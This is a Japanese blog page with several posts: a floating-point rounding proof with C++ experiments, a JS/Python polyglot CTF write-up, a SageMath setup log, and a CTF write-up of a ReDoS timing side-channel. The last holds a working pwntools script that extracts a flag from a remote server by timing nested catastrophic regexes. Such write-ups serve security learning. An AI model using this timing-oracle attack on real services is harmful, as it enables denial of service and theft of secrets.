以下の内容はhttps://rsk0315.hatenablog.com/より取得しました。


x / y * y == x となる確率について

double において 1.0 / 49.0 * 49.0 < 1.0true になることは有名です。 では、一般に x / y * y == x となるのはどういうときでしょうか? また、その誤差はどのくらいでしょうか?

こうした疑問自体はある程度自然であり、素朴なアルゴリズムの誤差評価の文脈でも出てくるものではあります。 これについて考えていたところ次のような定理を示せたので、今回はそれの話をします。

Theorem: 仮数部が $p$ bits の浮動小数点型において、$x, y\in [1\lldot 2)$ を一様ランダムに選ぶ。このとき、$(x\oslash y)\otimes y = x$ が成り立つ確率は $\ln(4)-\tfrac12+O(2^{-p})$ である。

すなわち、十分大きい $p$ において $0.886294$ 程度の確率で $(x\oslash y)\otimes y = x$ が成り立つということです。 精度を上げても確率 $1$ に近づくわけではなく、たとえば float, double, long double, __float128 のどれであってもほぼ同様の確率でそうなります。

記法

$\roundcirc{x}$ で、実数 $x$ を $p$-bit 仮数部の浮動小数点型に丸めた値を表します。 $x \otimes y$ と $x \oslash y$ で、それぞれ浮動小数点型における乗算 $\roundcirc{xy}$ と除算 $\roundcirc{x/y}$ を表します。

実数 $x\gt 0$ について、$2^e\le x\lt 2^{e+1}$ を満たす唯一の整数 $e$ に対して $\hfloor{x}=2^e$ とします。

観察

(まずは、上記の定理の存在を知らない時点のえびちゃんに遡って、追体験をお届けします。)

浮動小数点数で誤差が問題になる状況において、仮数部の桁数を上げれば解決するものとそうでないものがあります。 $(x\oslash y)\otimes y \ne x$ が成り立つような $(x, y)$ は __float128 でも依然として存在するものですし、今回は後者であろうと予想するのが自然そうです。

そうした状況においては、仮数部が短い浮動小数点型を自前で実装・エミュレートする方法が有効です。 速度が非常に重要になるわけでもないため、四則演算(や FMA や平方根)の correct rounding な実装をするのは比較的容易です。 これらの演算については IEEE 754 下で correct rounding を仮定できるため、ふつうの処理系に関してはそういう前提で考えてよいでしょう。

整数性を使うにあたって便利なので、$[1\lldot 2)$ の代わりに $\{2^{p-1}, \dots, 2^p-1\}$ で考えます。指数部で $2^{p-1}$ 倍の調整をするだけなので一般性は変わりません。

というわけで、$p \in \{4, 5, \dots, 9\}$ で実験してみます。 下方向を $+x$、右方向が $+y$(いわゆる $x$-$y$ で連想する方向を時計回りに $90^\circ$ 回した形)で、$(x\oslash y)\otimes y$ の値で色分けをしています。白が $x$、ピンクが $x-2^{-p}$、赤が $x-2^{-p+1}$、青が $x+2^{-p+1}$ です。

$p=4$
$p=5$
$p=6$
$p=7$
$p=8$
$p=9$

わ、これは何らかの規則性があると見るのが自然でしょう。えびちゃんもこれにはびっくりです。アーチ上の模様が積み重なっているように見えます。

ということで、この規則性っぽい部分について考察すれば、何かしらが求められそうです。

基本的な性質たち

丸めに関して基本的な性質をまとめておきます。改めての証明は行いません。

Property 0.1: $n\in \{2^{p-1}, \dots, 2^p-1\}$, $r\in[0\lldot 1)$ に対して、$x = n+r$ のとき、 $$ \roundcirc{x} = \begin{cases} n, & \text{if~}r \lt \tfrac12; \\ n, & \text{if~}r = \tfrac12 \wedge n \equiv 0 \pmod 2; \\ n+1, & \text{if~} r = \tfrac12 \wedge n \equiv 1 \pmod 2; \\ n+1, & \text{if~} r \gt \tfrac12 \end{cases} $$ が成り立つ。

Property 0.2: $n\in \{2^{p-1}, \dots, 2^p-1\}$, $r\in[0\lldot 1)$ に対して、$x = n+r$ のとき、$|{\roundcirc{x}-x}|\le \tfrac12$ が成り立つ。

考察

Lemma 1: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ とする。このとき、下記が成り立つ。 $$ (x\oslash y)\otimes y \in \begin{cases} \{x-\tfrac12, x\}, & \text{if~}x = 2^{p-1}; \\ \{x\}, & \text{if~}x \gt 2^{p-1} \wedge x \le y; \\ \{x-1, x, x+1\}, & \text{if~}x \gt 2^{p-1} \wedge x\gt y. \end{cases} $$

Proof

Case 1: $x = 2^{p-1}$.

$x = y$ のとき明らかに $(x\oslash y)\otimes y = x$ であるから、以降 $x\lt y$ とする。このとき $\tfrac12\lt x/y\lt 1$ より $\hfloor{x/y} = \tfrac12$ である。

$2^{p-1}\le x/y\cdot 2^p\lt 2^p$ に注意し、 $$ \begin{aligned} |(x\oslash y)-(x/y)| &= |\roundcirc{x/y\cdot 2^p}\cdot 2^{-p} - x/y| \\ &= |\roundcirc{x/y\cdot 2^p} - x/y\cdot 2^p| \cdot 2^{-p} \\ &\le \tfrac12\cdot 2^{-p} = 2^{-p-1} \end{aligned} $$ が成り立つ。よって、ある $|\delta|\le 2^{-p-1}$ を用いて $x\oslash y = x/y+\delta$ と表せ、 $$ \begin{aligned} (x\oslash y)\otimes y &= (x/y+\delta)\otimes y \\ &= \roundcirc{(x/y+\delta)\cdot y} \\ &= \roundcirc{x+\delta y} \end{aligned} $$ である。$y\lt 2^p$ より $|\delta y| \lt \tfrac12$ であるから、 $$ (x\oslash y)\otimes y = \begin{cases} x-\tfrac12, & \text{if~} -\tfrac12 \lt \delta y \lt -\tfrac14; \\ x, & \text{if~} -\tfrac14 \le \delta y \lt \tfrac12 \end{cases} $$ が成り立つ。

Case 2: $x\gt 2^{p-1} \wedge x\le y$.

Case 1 同様にして $x\lt y$ とする。このとき $\tfrac12\lt x/y\lt 1$ より $\hfloor{x/y} = \tfrac12$ である。

ある $|\delta|\le 2^{-p-1}$ に対して $(x\oslash y)\otimes y = \roundcirc{x+\delta y}$ と表せ、$y\lt 2^p$ より $|\delta y| \lt \tfrac12$ なので $(x\oslash y)\otimes y = x$ が従う。

Case 3: $x\gt 2^{p-1} \wedge x\gt y$.

このとき $1\lt x/y\lt 2$ より $\hfloor{x/y} = 1$ である。

$2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ に注意し、 $$ \begin{aligned} |(x\oslash y)-(x/y)| &= |\roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} - x/y| \\ &= |\roundcirc{x/y\cdot 2^{p-1}} - x/y\cdot 2^{p-1}| \cdot 2^{-p+1} \\ &\le \tfrac12\cdot 2^{-p+1} = 2^{-p} \end{aligned} $$ が成り立つ。よって、ある $|\delta|\le 2^{-p}$ に対して$(x\oslash y)\otimes y = \roundcirc{x+\delta y}$ と表せる。 $y\lt 2^p$ より $|\delta y| \lt 1$ であるから、 $$ (x\oslash y)\otimes y \in \{x-1, x, x+1\} $$ が従う。$\qed$

Lemma 2: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ に対し、$x \gt 2^{p-1}$ かつ $x\gt y$ のとき $(x\oslash y)\otimes y = x-1$ となる必要十分条件は、$r = x\cdot 2^{p-1}\bmod y$ として $$ ( (r\gt 2^{p-2})\wedge (r\lt y-r) )\vee( (r = 2^{p-2})\wedge (x\bmod 2=1) ) $$ である。

Proof

Case 1: $r\lt 2^{p-2}$.

このとき $(x\oslash y)\otimes y = x$ を示す。$r/y \lt 2^{p-2}/2^{p-1} = \tfrac12$ が成り立つ。

ある $q\in\Z$ が存在して $x\cdot 2^{p-1}=qy+r$ と表せる。 $2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ より $$ \begin{aligned} x\oslash y &= \roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} \\ &= \roundcirc{q+r/y}\cdot 2^{-p+1} \\ &= q\cdot 2^{-p+1} \end{aligned} $$ であり、$r\cdot 2^{-p+1} \lt \tfrac12$ に注意して $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{qy}\cdot 2^{-p+1} \\ &= \roundcirc{x\cdot 2^{p-1}-r}\cdot 2^{-p+1} \\ &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= x \end{aligned} $$ が成り立つ。

Case 2: $r = 2^{p-2}$.

このとき $x\bmod 2=0 \iff (x\oslash y)\otimes y = x$ を示す。

Case 1 同様にして $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= \roundcirc{x-\tfrac12} \end{aligned} $$ であり、Property 0.1 より従う。

Case 3: $r\gt 2^{p-2}$.

このとき $r/y\lt \tfrac12 \iff (x\oslash y)\otimes y = x-1$ を示す。

Case 3-1: $r/y\lt \tfrac12$.

$r\cdot 2^{-p+1} \gt \tfrac12$ に注意しつつ Case 1 同様にして $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= x-1 \end{aligned} $$ が成り立つ。

Case 3-2: $r/y = \tfrac12$.

これを満たす $(x, y)$ は存在しないことを背理法で示す。

$r = \tfrac y2$ とすると、$x\cdot 2^{p-1} = qy+\tfrac y2$、すなわち $x\cdot 2^p = (2q+1)\cdot y$ が成り立つ。 $x$ は整数であるから左辺は $2^p$ で割り切れるが、$y\lt 2^p$ なので右辺は $2^p$ で割り切れないため矛盾。

Case 3-3: $r/y \gt \tfrac12$.

$2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ より $$ \begin{aligned} x\oslash y &= \roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} \\ &= \roundcirc{q+r/y}\cdot 2^{-p+1} \\ &= (q+1)\cdot 2^{-p+1}. \end{aligned} $$ $r\lt y$ より $$ \begin{aligned} (x\oslash y)\otimes y &= ( (q+1)\cdot 2^{-p+1})\otimes y \\ &= \roundcirc{( (q+1)\cdot 2^{-p+1})\cdot y} \\ &= \roundcirc{qy + y}\cdot 2^{-p+1} \\ &= \roundcirc{x\cdot 2^{p-1}+y-r}\cdot 2^{-p+1} \\ &= \roundcirc{x + (y-r)\cdot 2^{-p+1})} \\ &\ge \roundcirc{x}\cdot 2^{-p+1} \\ &= x\cdot 2^{-p+1}. \quad\qed \end{aligned} $$

Lemma 3: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ に対し、$x \gt 2^{p-1}$ かつ $x\gt y$ のとき $(x\oslash y)\otimes y = x+1$ となる必要十分条件は、$r = x\cdot 2^{p-1}\bmod y$ として $$ ( (y-r\gt 2^{p-2})\wedge (r\gt y-r) )\vee( (y-r = 2^{p-2})\wedge (x\bmod 2=1) ) $$ である。

Proof. Lemma 2 と同様にして示せる。$\qed$

Lemma 4: $x, y\in \{2^{p-1}+1, \dots, 2^p-1\}$ に対し、$r_y(x) = x\cdot 2^{p-1}\bmod y$ とする。

$x\gt y$ とし、正整数 $k$ に対して $\angled{r_y(x), r_y(x+1), \dots, r_y(x+k-1)}$ が下記をすべて満たすとする。

  • 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
  • $r_y(x-1) \lt r_y(x)$
  • $r_y(x+k-1) \lt r_y(x+k)$

このとき、ちょうど一つの $i\in\{0, 1, \dots, k-1\}$ に対して $( (x+i)\oslash y)\otimes y \ne x+i$ が成り立つ。

Proof

$0\lt y-2^{p-1}\lt 2^{p-1}\lt y$ が成り立つことに注意する。任意の $0\le i\lt k-1$ に対し、 $$ \begin{aligned} r_y(x+i+1) &= (x+i+1)\cdot 2^{p-1}\bmod y \\ &= ( (x+i)\cdot 2^{p-1} + 2^{p-1})\bmod y \\ &= ( (x+i)\cdot 2^{p-1} - (y - 2^{p-1}) )\bmod y \\ &= r_y(x+i) - (y-2^{p-1}) \end{aligned} $$ が成り立つ。よって、$\angled{r_y(x), r_y(x+1), \dots, r_y(x+k-1)}$ は交差 $-(y-2^{p-1})$ の等差数列である。

Case 1: $2^{p-2} \in \{r_y(x), r_y(x+1), \dots, r_y(x+k-1)\}$.

$y - r_y(x+i) = 2^{p-2} \iff r_y(x+i+1) = 2^{p-2}$ であることと $(x+i)\bmod 2 = 1$ と $(x+i+1)\bmod 2 = 1$ のうちどちらか片方のみが成り立つことから従う。

Case 2: $2^{p-2} \notin \{r_y(x), r_y(x+1), \dots, r_y(x+k-1)\}$.

Lemmata 2–3 を踏まえると、$( (x+i)\oslash y)\otimes y\ne x+i$ であることは $r_y(x+i)$ が $\angled{2^{p-2}, \dots, y-2^{p-2}}$ に含まれることと同値である。 $\angled{2^{p-2}, \dots, y-2^{p-2}}$ は連続する $y-2^{p-1}+1$ 個の整数であり、交差 $-(y-2^{p-1})$ であり $2^{p-2}$ を含まない等差数列との共通部分はちょうど 1 つである。$\qed$

Lemma 5: $y\in \{2^{p-1}+1, \dots, 2^p-1\}$ とする。 $(x\oslash y)\otimes y \ne x$ かつ $x\gt 2^{p-1}$ なる $x$ の個数は $-y + 3\cdot 2^{p-1} - 2^{2p-1}/y+O(1)$ 個である。

Proof

下記を満たす連続部分列の個数は、高々 1 つである。

  • 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
  • $x-1 = y$
  • $r_y(x+k-1) \lt r_y(x+k)$

また、下記についても同様である。

  • 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
  • $r_y(x-1) \lt r_y(x)$
  • $x+k-1 = 2^p$

これらの連続部分列に対応する $i$ のうち $( (x+i)\oslash y)\otimes y \ne x+i$ となるものは高々 1 つである。

各 $i$ に対して、$q_i$ が存在して $r_y(y+i) = r_y(y) - i(y-2^{p-1}) + q_iy$ が成り立つ。求める値は $q_{2^p-y}+O(1)$ となる。 $$ \begin{aligned} q_{2^p-y}y &= r_y(2^p) - r_y(y) + (2^p-y)(y-2^{p-1}) \\ &= (2^{2p-1}\bmod y) - 0 + (2^p-y)(y-2^{p-1}) \\ &= (2^p-y)(y-2^{p-1}) + O(y) \end{aligned} $$ であり、 $$ \begin{aligned} \frac{(y-2^{p-1})(2^p-y)}y &= \frac{2^p\cdot y - y^2 -2^{2p-1} + 2^{p-1}\cdot y}y \\ &= -y + 3\cdot 2^{p-1} - 2^{2p-1}/y \end{aligned} $$ であるから、 $$ q_{2^p-y} = -y + 3\cdot 2^{p-1} - 2^{2p-1}/y + O(1) $$ となる。$\qed$

Theorem 6: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ を一様ランダムに選んだとき、$(x\oslash y)\otimes y = x$ となる確率は $\ln(4)-\tfrac12+O(2^{-p}) \approx 0.886294$ である。

Proof

余事象を考える。 まず、Lemma 1 より $( (x\oslash y)\otimes y)-x = -\tfrac12$ なる確率は $O(2^{-p})$ である。

$|( (x\oslash y)\otimes y)-x| = 1$ なる通り数は次の通りである。 $$ \begin{aligned} &\phantom{{}={}} \sum_{y=2^{p-1}+1}^{2^p-1} {-y + 3\cdot 2^{p-1} - 2^{2p-1}/y + O(1)} \\ &= -\tfrac12(2^{p-1}-1)(2^p+2^{p-1}) + 3\cdot 2^{p-1}\cdot (2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-1}\cdot (-\tfrac12(2^{p-1}-1) + (2^{p-1}-1) ) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-1}\cdot \tfrac12(2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-2}\cdot (2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot (2^{2p-3}-2^{p-2}) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{2p-3} - 2^{2p-1}\cdot (\ln(2^p)-\ln(2^{p-1}) ) + O(2^p) \\ &= 3\cdot 2^{2p-3} - 2^{2p-1}\ln(2) + O(2^p) \\ &= 2^{2(p-1)} \cdot \left(\tfrac32-\ln(4)\right) + O(2^p). \end{aligned} $$ これを $2^{2(p-1)}$ で割って、$\tfrac32-\ln(4)+O(2^{-p})$ を得る。これらより、求める確率は $$ 1-\left(\tfrac32-\ln(4)+O(2^{-p})\right) = \ln(4)-\tfrac12+O(2^{-p}) $$ となる。$\qed$

Claim 7: $y$ を固定したときに $(x\oslash y)\otimes y=x$ となりにくいのは $y=2^{p-1/2}$ のときで、確率は $2\sqrt2-2+O(2^{-p}) \approx 0.828427$ である。

Proof

相加相乗平均の関係に注意して、$|( (x\oslash y)\otimes y)-x| = 1$ なる通り数は $$ \begin{aligned} &\phantom{{}={}} \max_y {(-y + 3\cdot 2^{p-1} - 2^{2p-1}/y)} \\ &= 3\cdot 2^{p-1} - \min_y {(y + 2^{2p-1}/y)} \\ &= 3\cdot 2^{p-1} - 2\cdot (2^{2p-1})^{1/2} \\ &= 3\cdot 2^{p-1} - 2^{p+1/2} \\ &= 3\cdot 2^{p-1} - 2\sqrt 2\cdot 2^{p-1} \\ &= (3-2\sqrt 2)\cdot 2^{p-1} \end{aligned} $$ である。上界を達成するのは $y=2^{p-1/2}$ である。$( (x\oslash y)\otimes y)-x = -\tfrac12$ なる確率は $O(2^{-p})$ であるから、求める確率は $$ 1 - ( (3-2\sqrt 2) + O(2^{-p}) ) = 2\sqrt 2-2 + O(2^{-p}) $$ である。$\qed$

実験

f32, f64, f80, f128 のそれぞれについて $10^9$ 回選んだときの $( (x\oslash y)\otimes y)-x$ は次の通りでした。C++ における f32 の promotion の仕様から、明示的に f32 にキャストする必要があり、そこで二重丸めが起きている気がします。一応ここではおそらくは影響しないはず?

$-1$ $-\tfrac12$ $0$ $1$
f32 $56859910$ $23$ $886284147$ $56855920$
f64 $56868530$ $0$ $886294349$ $56837121$
f80 $56863534$ $0$ $886292498$ $56843968$
f128 $56845181$ $0$ $886294978$ $56859841$

綺麗に揃った値になっていてうれしいです。

xyy_count.cpp

#include <iomanip>
#include <iostream>
#include <map>
#include <quadmath.h>
#include <random>

template <typename F> F random_1_2(std::mt19937& mt) { return F(); }

template <> float random_1_2(std::mt19937& mt) {
  return (mt() & ~(~0u << 23)) | 1u << 23;
}

template <> double random_1_2(std::mt19937& mt) {
  unsigned long res = mt();
  res <<= 32;
  res |= mt();
  res &= ~(~0uL << 52);
  res |= 1uL << 52;
  return res;
}

template <> long double random_1_2(std::mt19937& mt) {
  unsigned long res = mt();
  res <<= 32;
  res |= mt();
  res |= 1uL << 63;
  return res;
}

template <> __float128 random_1_2(std::mt19937& mt) {
  unsigned __int128 res = mt();
  res <<= 32;
  res |= mt();
  res <<= 32;
  res |= mt();
  res <<= 32;
  res |= mt();
  res &= ~(~(unsigned __int128)0u << 112);
  res |= (unsigned __int128)(1u) << 112;
  return res;
}

template <typename F> void count_f(long n) {
  std::map<F, unsigned long> c;
  std::cerr << std::fixed << std::setprecision(1);
  std::random_device rd;
  std::mt19937 mt(rd());
  for (int i = 0; i < n; ++i) {
    volatile F x = random_1_2<F>(mt);
    volatile F y = random_1_2<F>(mt);
    volatile F z = F(x / y) * y;
    ++c[F(z - x)];
  }
  std::cout << "---\n";
  for (auto [x, y]: c) {
    std::cout << double(x) << '\t' << y << '\n';
  }
}

int main() {
  long const N = 1e9;
  count_f<float>(N);
  count_f<double>(N);
  count_f<long double>(N);
  count_f<__float128>(N);
}

これに基づいて $\ln(4)$ の値を計算するというギャグも可能そうです。精度はお察しです。

あとがき

この手の命題を示すと、「浮動小数点型は自動正確丸め機能つき整数型であるなあ」のような気持ちになります。整数分野に強い人はこの手の話を簡単に示せそうだなという気がします。示してうれしいかは人によりそうです。

今回の記事は AtCoder Weekday Contest 0014 Beta C についての話を Twitter で見ていたときに考え始めました。

そういう反例が多数存在しますというふわふわリプライを送りつけ、「そんなふわふわリプライが許されるのか?」という気持ちで調べていました。 実際、無視するとまずそうな比率で存在していそうということがわかってよかったです。

その問題の解説には (非推奨) Claude 4.5 Opus だとか (非推奨) Qwen3-Coder-480B だとかがあり、非推奨ってなんやねんという気持ちにはなりました。Beta ということもあってまぁそのへんはまぁという感じなのかもしれません。

速度を求めるにあたって v = x/y とし、その後で時間を掛けて距離 v*t を求めるようなコードを書くと、今回の記事の形の式になります。 なので、多少の個数の y == t のランダムケースを用意すれば、そのような解法を落とせそうだなぁという感じがします。

仮数部の桁数を上げても解決しない具体的な例を具体的な確率つきで示すことができて、うれしいなという気持ちです。 好きな数を聞かれたら $\ln(4)-\tfrac12$ と答えるようになってしまうかもしれません。

浮動小数点型びっくり命題シリーズとしては下記もありますが、今回のもお気に入りになりそうです。

rsk0315.hatenablog.com

AtCoder Weekday Contest 0014 Beta B の解説 も浮動小数点型を用いており、こちらの正当性は下記から従う気がします。

rsk0315.hatenablog.com

おわり

おわりです。

Writeup for pyjs, Daily AlpacaHack 2026/02/28

Daily AlpacaHack 2026/02/28 の write-up です。

alpacahack.com

やったこと

えびちゃんは Polyglot が好きなのでうれしくなりました。

1 行しか受け取ってくれないので、1 行でやる方針を考えます(\r を使おうというのが過去にも出題されていますが忘れがち、少し反省)。

"""...""" などの連結の仕方が狙えるかと思ったものの JS だとうまくいってくれないようなので捨てました。 // を使う方針も浮かびはしましたが、面倒そうな気がしたので深追いしませんでした。

そういえば JS って NaN っていうのがあったよなと思って、NaN に代入したときどうなるんだっけというのを試しました。

> NaN = 0
0
> NaN
NaN
> NaN == NaN
false

Python だと下記のようになります。

>>> NaN = 0
>>> NaN
0
>>> NaN == NaN
True

あとはこれを使って適当にやればよさそうです。 両方の言語で共通して使えるリテラル・関数・メソッドがあれば楽に済ませられそうなので探します。

eval[x, y][k] を使えばよさそうです。JS だと Boolean をそのまま添字に使えなさそうなので適当に変換します。

solve.txt

NaN=0; eval(['console.log("I LOVE SECCON")', 'print("I LOVE ALPACA")'][+(NaN==NaN)])

これができるのであれば、JS と Python で真偽・0/1 が変わる式クイズに帰着できるので、次のようなものも使えます。

  • 1+2**53-2**53
  • "aa".replace("a", "b") == "ba"
  • (2**53+1)/3 == 3002399751580331

Wow... Alpaca{fluent in two languages} 👏

9つのC言語を操りたいです。最近の人に通じるのでしょうかこれ(?)。

あとがき

A-SIDE 3 ヶ月分と B-SIDE 1 ヶ月分を走り切って満足です。

おわり

おわりです。

Writeup for hit-and-hit, Daily AlpacaHack 2026/2/24

Daily AlpacaHack 2026/2/24 の write-up です。

alpacahack.com

やったこと

まず ReDoS の概念自体は知っていたのと、Python の re で指数時間になるケースが存在することも知っていたので、とりあえずそれについて考えました。

なんかたぶんこんな感じだっただろと思いながら適当にやっていたときの履歴です(うまくいっていない)。もうちょっと頭を使った方がいいですよ笑

長い

>>> import re
>>> re.match('A', 'A')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+', 'A')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+', 'AB')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?', 'AB')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('(A+)+?p', 'Al')
>>> re.match('((A+)+)?p', 'Al')
>>> re.match('((A|A)+)?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)?', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)', 'Al')
<re.Match object; span=(0, 1), match='A'>
>>> re.match('((A|A)+)l', 'Al')
<re.Match object; span=(0, 2), match='Al'>
>>> re.match('((A|A)+)m', 'Al')
>>> re.match('((A|A)+)+m', 'Al')
>>> re.match('((A|A)+)+m', 'Al')
>>> re.match('(((A|A)+)+)+m', 'Al')
>>> re.match('((((A|A)+)+)+)+m', 'Al')
>>> re.match('(((((A|A)+)+)+)+)+m', 'Al')
>>> re.match('((((((A|A)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((A|A)+)+)+)+)+)+)+m', 'Al')
>>> re.match('((((((((A|A)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((A|A)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('((((((((((A|A)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((A|A)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((A|A|A)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|BB|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)+)+)+)+)+)+)+)+)+)+)+m', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)*)*)*)*)*)*)*)*)*)*)*l', 'Al')
>>> re.match('(((((((((((B|B|B|B|B)*)*)*)*)*)*)*)*)*)*)*p', 'Al')

顕著な差があったときの入力は次の通りです。

>>> re.match('(((((((((((A|A|A|A|A)*)*)*)*)*)*)*)*)*)*)*l', 'Al')
<re.Match object; span=(0, 2), match='Al'>
>>> re.match('(((((((((((A|A|A|A|A)*)*)*)*)*)*)*)*)*)*)*p', 'Al')

あとは底(A|A|A の長さ)と指数(((()*)*)*)* の深さ)を調整して、適度な時間がかかるようにします。 判定器ができたので二分探索して終わりです。

solve.py

import time

from pwn import *

p = remote("34.170.146.252", 22289)


def test(r):
    p.sendlineafter(b"regex> ", r.encode())
    tic = time.time()
    res = p.recvline().strip()
    toc = time.time()
    print(toc - tic)
    return toc - tic < 1


flag = "A"
while True:
    lo = 0x01
    hi = 0x80
    while hi - lo > 1:
        mid = lo + (hi - lo) // 2
        cur = f"(((((((((({flag}|{flag})*)*)*)*)*)*)*)*)*)*[\\x00-\\x{mid:02X}]"
        if test(cur):
            hi = mid
        else:
            lo = mid

    flag += chr(hi)
    print(flag)

余談ですが、えびちゃんが時間計測用の変数を置くときには tic, toc を使いがちです。大学時代に少しだけ触った MATLAB の影響を受けています。

ループの終了条件を適当にやっているので、終わったなという感じになったら C-c で終わらせます(解ければよいため)。

Alpaca{r3GeX_Pow3rFu1}\x02\x02\x02 👏 ← 終わったなという見た目

所感など

えびちゃんも「なんか side-channel attack っぽいの出したいよな〜」と思っていたのですが、綺麗な設定で出題されてにっこりになりました。 自分の名前で出したいという気持ちが薄くて、自分がよいと思っているものが世に存在していればうれしいという気持ちが常にあります。 競プロや CTF に限らず、ニコニコ動画で自分の思ったコメントが流れてくると満足してしまうとかそういうのもあります。

あとフラグの powerful の部分に「計算量が指数時間になることと冪乗の power がかかってるのか?」と思ってオサレだな〜と思っていたのですが、別に全然そんなことはないかもしれません。

別の日の問題についてのネタバレなので一応伏せ

↑ これは全然勝手に思い込んでいただけらしいです。

他に指数と powerful がかかっているものの例としてはこちらがあります ↓

atcoder.jp

あとえびちゃん的には ( ) | * と連接以外の演算が使われているものを正規表現と呼びたくない宗教に入っているので、lookaround や backref が発想から抜けがちです。 それらを含めた場合の「正規表現に機能を追加した版のやつ」と等価な計算量クラスに関する論文が数年前にあった気もします(結局まだ読めてない気もします)し、その手の機能を使って表される言語が正規言語であることもありますし、難しいな〜みたいな気持ちになったりします。 そこまで毛嫌いしなくていいんじゃない?という感じにはなりつつあります。

xkcd.com

正規表現がこういう状態になってしまったことについては嫌な気持ちがあります。

おわり

おわりです。

【環境構築編】SageMath となかよく【失敗】

doc.sagemath.org

github.com

まずはここから SageMath-10.8_arm64.dmg をダウンロードしてセットアップ。

% sage --help
SageMath version 10.8, Release Date: 2025-12-18

Running Sage:

  file.[sage|py|spyx] -- run given .sage, .py or .spyx file
...
/var/tmp/sage-10.8-current/venv/bin/sage: line 197: /Applications/SageMath-10-8.app/Contents/Frameworks/Sage.framework/Versions/10.8/build/bin/sage-site: No such file or directory

なんか怒ってそう。

% sage
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 10.8, Release Date: 2025-12-18                    │
│ Using Python 3.13.7. Type "help()" for help.                       │
└────────────────────────────────────────────────────────────────────┘
(!) we are using libedit readline
sage: from Crypto.Util.number import long_to_bytes
---------------------------------------------------------------------------
ModuleNotFoundError                       Traceback (most recent call last)
Cell In[1], line 1
----> 1 from Crypto.Util.number import long_to_bytes

ModuleNotFoundError: No module named 'Crypto'
sage: 

using libedit readline の警告に関しては、SageMath とは関係なく macOS の Python 側で GNU readline を使ってくれずにターミナルがめちゃくちゃにされる問題が以前起きたので自前の ~/.pythonrc.py でチェックしているもの。

できておきたいこと:

  • sage から pycryptodome などの基本的な CTF 用のモジュールを使える
    • sage --pip install を使えばよさそう
  • emacs で *.sage を編集するときに syntax highlighting と auto-format が効く
    • R.<x> みたいなのが black にはきつい

最低限これだけで一旦えびちゃん的には事足りる。

    if [ -d "$SAGE_ROOT" ]; then
        exec "$SAGE_ROOT/build/bin/sage-site" "-h"
    fi

たぶん SYMLINK=/var/tmp/sage-$VERSION-current (/usr/local/bin/sage) や export SAGE_ROOT="${SAGE_SYMLINK}" で定義されているの経由?

% sage --pip --help

Usage:   
  /var/tmp/sage-10.8-current/local/bin/python3 -m pip <command> [options]
...
% sage --pip install pycryptodome
Collecting pycryptodome
  Using cached pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl.metadata (3.4 kB)
Using cached pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl (2.5 MB)
Installing collected packages: pycryptodome
Successfully installed pycryptodome-3.23.0

github.com

じー。sage/build/README.txt には bin: Various scripts needed at build time. Not installed. と書いてありますが??

自前でビルドしてみようかな。

% git clone git@github.com:sagemath/sage.git
% cd sage
% EXPORT SAGE_ROOT=~/sage/sage
% make configure
% ./configure
% make
make[4]: *** [numpy-SAGE_VENV-no-deps] Error 1
make[3]: *** [/Users/rsk0315/git/sagemath/sage/local/var/lib/sage/venv-python3.14/var/lib/sage/i
make[2]: *** [all-start] Error 2
***************************************************************
Error building Sage.

The following package(s) may have failed to build (not necessarily
during this run of 'make all-start'):

* package:         numpy-2.3.2
  last build time: Feb 22 16:01
  log file:        /Users/rsk0315/git/sagemath/sage/logs/pkgs/numpy-2.3.2.log

It is safe to delete any log files and build directories, but they
contain information that is helpful for debugging build problems.
